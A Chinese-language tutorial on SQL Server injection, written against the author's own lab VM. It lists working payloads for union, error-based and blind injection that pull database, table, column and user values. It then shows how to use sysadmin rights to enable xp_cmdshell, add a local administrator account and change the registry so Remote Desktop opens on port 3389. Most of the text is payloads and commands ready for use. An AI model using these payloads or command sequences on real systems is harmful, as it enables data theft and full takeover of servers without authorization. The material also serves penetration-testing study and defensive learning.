sql server 注入
0x01:前言
sqlserver和mysql对于注入核心其实都是闭合单引号,只不过格式不同。此文重点记录一下sqlserver的格式。环境为自己搭建的SQL server+win7虚拟机,至于为什么没有asp代码,肯定是因为太菜不会asp。
0x02:数据库结构
test数据库以及users表
flag数据库以及flag_table表
由于不会asp所以直接在数据库进行查询操作,反正都一样。
0x03:sql注入
假设我们的sql语句为 : select * from users where id = '1',为了省略篇幅,下面的payload都从id开始
确认注入点:
payload:id = '1''
报错显示语法错误,且将错误点抛出,所以可以判断其为字符型注入
payload:id = '1' and '1' = '1'
payload:id = '1' and '1' = '2'
确认存在注入。
判断字段数:
payload: id = '1' order by 1 --
payload: id = '1' order by 2 --
......
payload: id = '1' order by 4 --
报错,无法对第四列进行排序,所以当前表只有三个字段。
联合注入
SQL server中,union select 1,2,3中的占位符用字符是不支持的
所以要使用null来替代占位符
当然使用 union all select 也可以
然后在占位符插入查询语句
payload:id = '1' union select null,@@version,db_name() --
有时会发生类型转换错误,因为mssql对于数据类型要求比较严格,不同类型的数据是无法一起执行的。
比如
但是这个错误可以也可以利用作为报错注入使用,现在先说报错注入。
信息收集
mssql的注入危害是相当大的,严重可导致服务器失陷,所以前期信息收集很重要。
- @@version#版本信息
- db_name()#当前数据库
- @@SERVERNAME#当前计算机名
- user_name()#当前数据库用户名
- db_name(1)#通过遍历db_name(1)中的数字获取其他库名
- ...
- SUSER_NAME()#查看数据库用户名
- and 1=(IS_SRVROLEMEMBER('sysadmin'))# 查看当前数据库用户权限:
- and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- and 1=(select IS_MEMBER('db_owner'));--
回显正常则说明该数据库用户权限为sa,其他类似。
查询数据库名:
可以使用db_name()或者使用系统表sys.databases查询。
payload:union select null,(select top 1 name from sys.databases where name not in(select top 0 name from sys.databases)),null --#通过修改top的值进行遍历数据库名,由于sqlserver没有limit,所以只能使用top进行替代, top 1 只返回一条数据,若where条件是判断用户不在某个集合当中,我们习惯使用 where 列名 not in (集合) 子句 。
和mysql一样,sqlserver也是关系型数据库,所以数据库中所有的序都保存在系统库master中,比如数据库名就在系统视图sys.databases的name列中。
查询指定数据库的数据表名:
payload:-1' union all select null,(select top 1 table_name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null --#通过遍历not in 子句集合中的top 数据进行遍历表名
查询指定数据表的字段名:
payload:union all select null,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in(select top 0 column_name from information_schema.columns where table_name='users')),null --#通过遍历子句集合中的top数值进行遍历字段名。
查询字段的值:
union all select null,(select top 1 username from users where username not in (select top 2 username from users)),null --# 通过遍历子句集合中的top数值进行遍历字段值。
报错注入
报错注入查询版本信息
payload:and 1=(select 1/@@version)
payload:and 1=(select1/@@servername)
报错查询数据库名
payload:and 1=(select 1/(select top 1 name from sys.databases where name not in(select top 0 name from sys.databases))) -- # 通过改变not in 子集中top的值进行遍历数据库名。
报错查询数据表名:
payload:and 1=(select 1/(select top 1 table_name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables))) --# 通过改变not in 子集中top的值进行遍历数据表名。
报错查询字段名:
payload: and 1=(select 1/(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in(select top 0 column_name from information_schema.columns where table_name='users'))) --# 通过改变not in 子集中top的值进行遍历字段名。
报错注入查询字段的值:
payload: and 1=(select 1/(select top 1 username from users where username not in (select top 2 username from users))) --# 通过改变not in 子集中top的值进行遍历值。
时间盲注
套娃:
payload:if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'
payload:if ASCII(SUBSTRING((select top 1 username from users where username not in (select top 1 username from users)),1,1))=115 WAITFOR DELAY '0:0:5'
布尔盲注
套娃即可
信息收集:
payload:and ascii(substring((select db_name(1)),1,1))>64 --
0x04:SA权限开启xp_cmdshell获取主机权限
如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启
select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了
此时是xp_cmdshell关闭状态
execute('sp_configure "show advanced options",1'); #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure #查看配置
exec xp_cmdshell 'whoami' #执行系统命令
如果是admin组的,则可以添加账户,添加至管理员操作
exec xp_cmdshell 'net user test 123456' #增加用户
exec xp_cmdshell 'net localgroup administrators test /add' #将test用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
3389已开放。